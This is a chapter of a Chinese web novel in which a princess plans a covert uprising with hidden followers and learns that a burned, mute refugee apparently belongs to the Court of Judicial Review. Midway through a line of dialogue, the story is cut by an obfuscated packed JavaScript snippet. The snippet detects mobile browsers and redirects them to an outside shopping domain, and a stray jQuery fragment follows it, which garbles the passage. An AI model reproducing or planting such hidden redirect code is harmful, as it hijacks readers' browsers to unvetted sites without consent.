秦怀谨说完那句话,转身就往车走。

    福顺什么也没问,扬鞭赶车。

    马车穿过西市的街巷,出了城门,沿着官道一路向南。

    秦怀谨靠在车壁上,没有闭眼,只是看着车帘缝隙里不断掠过的田野和树影,脑子里一直在算。

    陈茵那边有多少人,柳絮手里还能调多少,从山里把人调到京城附近要走几天,路上要避开哪些关卡。

    她算了一遍又一遍,数字在脑子里反复加减,每一次得出的结果都不够。

    马车在山脚停下时,天色已经开始暗了。

    秦怀谨下了车,沿着山路往上走,走到那片空地时,陈茵正蹲在棚子下面清点药材,听见脚步声抬起头,看见是她,先是愣了一下,随即放下手里的药材站起来。

    “殿下,您怎么来了?”陈茵迎上来,目光在她脸上停了一瞬,“出什么事了?”

    秦怀谨没有绕弯子,在棚子下面坐下,直截了当地说:“贺明鹊失踪了,多半是回不来了。我在朝堂上动不了手,也没人替我说话。半个月后雨季一到,灾区的证据全都会被冲干净,到时候什么都查不出来了。”

    陈茵在她对面坐下,把手里那捆药材搁在膝上,安静地听她说完,没有插话。

    等秦怀谨停下来,她才开口,“殿下打算怎么做?”

    秦怀谨看着她,沉默了片刻,“我想过造反。”

    陈茵没有露出惊讶的表情,只是点了点头,像是在等她继续说下去。

    “我手里现在能用的人不多,你这边六十七个,柳絮那边能调动的旧部加上梦笙楼的人,大概能凑到一百五左右。加上绸缎坊和药铺能临时帮忙的,最多两百出头。这点人打不赢禁军,连城门都进不去。”秦怀谨的嗓子有些沙哑,但她还在持续输出,“但如果我换一种方式,不硬打,而是找一个禁军顾不上的时机,找一个永平帝反应不过来的间隙,让这些人同时出现在京城里不同的位置。”

    陈茵接上她的话,“不让他们知道有多少人?”

    秦怀谨点头,“对。让他们觉得到处都是人,但又说不清到底有多少,甚至不确定这些人到底进京做什么的。只要永平帝来不及下令,有那么一个缺口就够了。”

    陈茵沉默了一会儿,低头看着手里那捆药材,手指慢慢捻着根须上的泥土。

    “殿下,您说的这些,我不太懂。但您需要我做什么,您直接说。”

    秦怀谨看着她,忽然觉得踏实了不少。

    她说:“我需要你帮我算清楚,山里这些人,最快多久能全部到京城附近,路上要经过哪些关卡,有没有办法绕开。还有,粮草够不够撑一个月。”

    陈茵想了想,说:“最快的话,分批走,每天走一批,十天左右能全部到达京城附近。路上关卡的话,走小路绕开县城,多花两天时间,但安全。粮草的话——”

    她顿了一下,站起来走向棚子后面的一个木箱,打开盖子翻了翻,拿出一个账本翻了翻,“山里的存粮够吃半个月,剩下的要到附近镇上买,但大批量买粮容易引人注意。如果分几家铺子分批买,十天之内能凑齐。”

    秦怀谨接过账本看了一眼,又还回去,“粮草的事我来想办法。你只管把人准备好,让他们这段时间不要出山,不要跟外人接触,等我消息。”

    陈茵把账本收好,点了点头,“殿下,您想清楚了?”

    秦怀谨站起来,拍了拍衣摆上沾的草屑,“想清楚了。”

    她转身往外走,走了两步又停下来,回头看着陈茵,“对了,如果我真的动手了,你怕不怕?”

    陈茵站在棚子下面,暮色把她的脸映得半明半暗,她沉默了一会儿,然后说:“怕。但殿下在,我不慌。”

    “我会让人送来京城的当季流行的款式新衣,届时你们一批人光明正大的往京城里走,去王府也好,去私宅也行,梦笙楼……总之都分散着住到不同的地方来。”

    陈茵点了点头,算是彻底应下了她的决策。

    秦怀谨没有接话,转身准备上马车。

    陈茵忽然想起什么,追了出来,“殿下,还有件事,不知……”

    秦怀谨还是第一次见到陈茵犹豫的,她立刻下了马,注视着她,等待她调整好情绪。

    “殿下先前送来的哑巴,可还有印象?”

    她自然记得,那人算起来不过是昨日送过来的,何尝会记不住。

    只是一个在各地都随处可见的难民,顶多比其他难民更苦了些,脸上多了些烧伤的斑驳。

    “他今日一天都在山上,那也没去,给他上药就乖乖坐着,不声不响。”

    陈茵说完,秦怀谨隐隐觉着有一个很大的坑正在等着她。

    前面这么铺垫的,让她心慌不已。

    陈茵叹气道,“他应该不是普通人,上完药后,他的嗓子只能靠喝药,等伤口自己恢复,所以他趁着空隙跑去了后边,和山里操练的人打对起来了。”

    对打,烧伤,哑巴……

    她昨日扶他上车时确实感觉到那人手臂上的肌肉是硬的,当时只当是常年干重活留下的,没往深处想。

    可现在陈茵这么一说,那些细节就全串起来了。

    一个普通的难民,不会有那样的体魄;一个被烧伤的人,不会在刚被安置下来、伤口还没处理完的情况下,主动去找人动手。

    除非他本来就不是普通人。

    “他打赢了还是打输了?”秦怀谨问。

    陈茵的表情有些复杂,“没赢也没输。他打的是咱们领头的那个,就是之前练武练得最久的那一个。两个人过了十几招,谁也没占到便宜。后来他自己停下来了,退到旁边坐下,跟什么都没发生过一样。”

    秦怀谨听完,沉默了片刻。

    领头的那个她知道,是柳絮从秦少语旧部里挑出来的人,练了好几个月,身手不差。

    一个烧伤的哑巴能跟他打成平手,那这个人受伤之前是什么水平?

    “上药的时候很安静,让抬手抬手,让转头转头。药涂上去也不吭声,像是习惯了疼。”陈茵说,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642024|202062||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    但中午吃饭的时候,他把自己那碗饭分了一半给旁边那个年纪小的,然后一个人坐在墙角,看着山下的方向,看了很久。”

    秦怀谨听着,心里有一个念头慢慢浮上来。

    她问,“他现在在哪?”

    陈茵回头看了一眼,指了指棚子后面,“还坐在那,从下午一直坐到现在。晚饭也没吃。”

    秦怀谨没有犹豫,抬脚往棚子后面走去。绕过几摞码好的药材筐子,她看见一个人坐在一块平整的石头上,背靠着墙,面朝下山的方向。

    暮色已经暗了大半,只能看清一个轮廓。

    那人听见脚步声,没有转头,像是知道来的人是谁。

    秦怀谨在他旁边站定,没有坐下,也没有说话,只是顺着他的目光看向山下。

    山脚下是蜿蜒的官道,再远一些是连片的田野,再远就看不见了,天地之间只剩下灰蒙蒙的一片。

    她站了好一会儿,才开口,“你是哪里人?”

    那人没有看她,也没有出声,只是继续看着山下。

    她没指望他回答,也知道他回答不了,但她还是想确认一件事。

    “你拦我的车,是认出我了,还是认错人了?”

    这句话问出去之后,她以为不会得到回应。

    但那个人的肩膀动了一下,极轻的幅度,像是被人说中了什么。

    他慢慢转过头来,脸上那些烧伤的疤痕在暮色里显得格外深重。

    他看着秦怀谨,嘴唇动了动,还是没有发出声音,但他抬起右手,在空中比划了一个动作,食指和中指并拢,向下划了一下。

    秦怀谨愣了好一会,还是没看到他到底在表达什么。

    心想,能够和秦少语的旧部打成一片,想必也是有一定能力的,或许读过书?

    秦怀谨蹲下身,从旁边的药材筐里抽出一片晒干的叶子,又从袖子里摸出一小块炭,那是她平日里用来在纸上随手记东西的,没想到派上了用场。

    她把叶子和炭一起递到那人面前,试探道,“你能写字吗?”

    那人低头看着递过来的叶子和炭,沉默了片刻,然后伸手接了过去。

    他的动作很慢,手指微微发颤,像是很久没有握过笔一样,但当他用炭在叶子上划出第一笔时,秦怀谨就看出来,这个人练过字。

    笔划是直的,不歪不斜,虽然因为叶片不平整和手指颤抖显得有些断续,但每个字的结构都端端正正,横平竖直。

    他写了三个字,“大理寺”。

    秦怀谨盯着那三个字,心跳快了几分,但面上没有露出任何异样。

    她试图联想成其他字词,避免自己下意识认为的是错误的。

    可她思考片刻后发现,没有任何其他指向了。

    她向四周看了一圈,想起整个山上都是自己的人,但防止意外,她还是压着声音问道,“你是大理寺的人?”

    那人点了点头,吱吱哇哇的想要开口说话。

    “别说话,嗓子不要了?”陈茵走来劝阻道。